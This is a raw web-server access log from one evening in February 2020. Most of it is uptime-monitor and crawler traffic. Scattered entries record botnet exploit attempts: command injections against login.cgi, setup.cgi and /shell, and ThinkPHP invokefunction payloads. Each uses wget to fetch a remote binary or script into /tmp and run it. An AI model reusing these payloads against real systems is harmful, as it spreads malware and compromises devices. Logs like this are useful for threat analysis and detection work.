220.121.0.69 - - [12/Feb/2020:20:24:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.21.170.44 - - [12/Feb/2020:20:24:20 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://218.21.170.44:50701/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
220.121.0.69 - - [12/Feb/2020:20:24:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:20:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.150.206.250 - - [12/Feb/2020:20:25:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:20:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.20.141.53 - - [12/Feb/2020:20:27:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
190.20.141.53 - - [12/Feb/2020:20:27:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:20:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [12/Feb/2020:20:30:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [12/Feb/2020:20:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.27.192.130 - - [12/Feb/2020:20:30:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:20:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.137.221.73 - - [12/Feb/2020:20:33:12 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
196.52.43.115 - - [12/Feb/2020:20:33:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
89.137.221.73 - - [12/Feb/2020:20:33:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
89.137.221.73 - - [12/Feb/2020:20:33:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [12/Feb/2020:20:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.137.221.73 - - [12/Feb/2020:20:35:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
89.137.221.73 - - [12/Feb/2020:20:35:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
89.137.221.73 - - [12/Feb/2020:20:35:24 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
89.137.221.73 - - [12/Feb/2020:20:35:30 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [12/Feb/2020:20:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.137.4.141 - - [12/Feb/2020:20:35:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
196.52.43.61 - - [12/Feb/2020:20:36:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:20:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.137.221.73 - - [12/Feb/2020:20:37:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
121.180.208.154 - - [12/Feb/2020:20:37:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [12/Feb/2020:20:37:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [12/Feb/2020:20:37:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [12/Feb/2020:20:37:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:20:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [12/Feb/2020:20:37:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:20:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.50.252.238 - - [12/Feb/2020:20:39:29 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://178.128.183.31/arm7;chmod+777+arm7;/tmp/arm7+selfrep.jaws.arm7 HTTP/1.1" 400 329 "-" "Hello, world"
89.137.221.73 - - [12/Feb/2020:20:39:30 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [12/Feb/2020:20:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.137.221.73 - - [12/Feb/2020:20:46:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
177.84.41.77 - - [12/Feb/2020:20:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [12/Feb/2020:20:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:20:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.69 - - [12/Feb/2020:20:54:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:20:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.84.23 - - [12/Feb/2020:20:55:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:20:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.115 - - [12/Feb/2020:20:56:28 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.117 - - [12/Feb/2020:20:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [12/Feb/2020:20:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.150.206.250 - - [12/Feb/2020:20:57:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.249.59.14 - - [12/Feb/2020:20:57:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
171.249.59.14 - - [12/Feb/2020:20:57:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
171.249.59.14 - - [12/Feb/2020:20:57:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:20:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.65.133.249 - - [12/Feb/2020:20:58:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [12/Feb/2020:20:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [12/Feb/2020:20:59:02 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:20:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.242.3.87 - - [12/Feb/2020:21:01:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:21:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.127.157 - - [12/Feb/2020:21:05:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:21:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.81.154.144 - - [12/Feb/2020:21:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:21:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
102.42.213.149 - - [12/Feb/2020:21:13:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:21:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:23:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:26:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:27:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:28:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:29:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.49.33.56 - - [12/Feb/2020:21:30:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:21:30:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:31:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:32:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.239.232.126 - - [12/Feb/2020:21:33:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:21:33:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:34:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.26.3.53 - - [12/Feb/2020:21:35:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [12/Feb/2020:21:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:37:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.245.238 - - [12/Feb/2020:21:38:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:21:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.202.102 - - [12/Feb/2020:21:40:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:21:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.114.136.17 - - [12/Feb/2020:21:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:21:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.65.82 - - [12/Feb/2020:21:44:05 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.86 - - [12/Feb/2020:21:44:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
94.191.120.46 - - [12/Feb/2020:21:44:41 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.120.46 - - [12/Feb/2020:21:44:41 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.120.46 - - [12/Feb/2020:21:44:42 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.120.46 - - [12/Feb/2020:21:44:42 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.120.46 - - [12/Feb/2020:21:44:43 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.120.46 - - [12/Feb/2020:21:44:43 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.120.46 - - [12/Feb/2020:21:44:44 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.120.46 - - [12/Feb/2020:21:44:44 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
94.191.120.46 - - [12/Feb/2020:21:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [12/Feb/2020:21:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:21:45:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.181.121.2 - - [12/Feb/2020:21:45:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
189.50.43.10 - - [12/Feb/2020:21:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:21:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
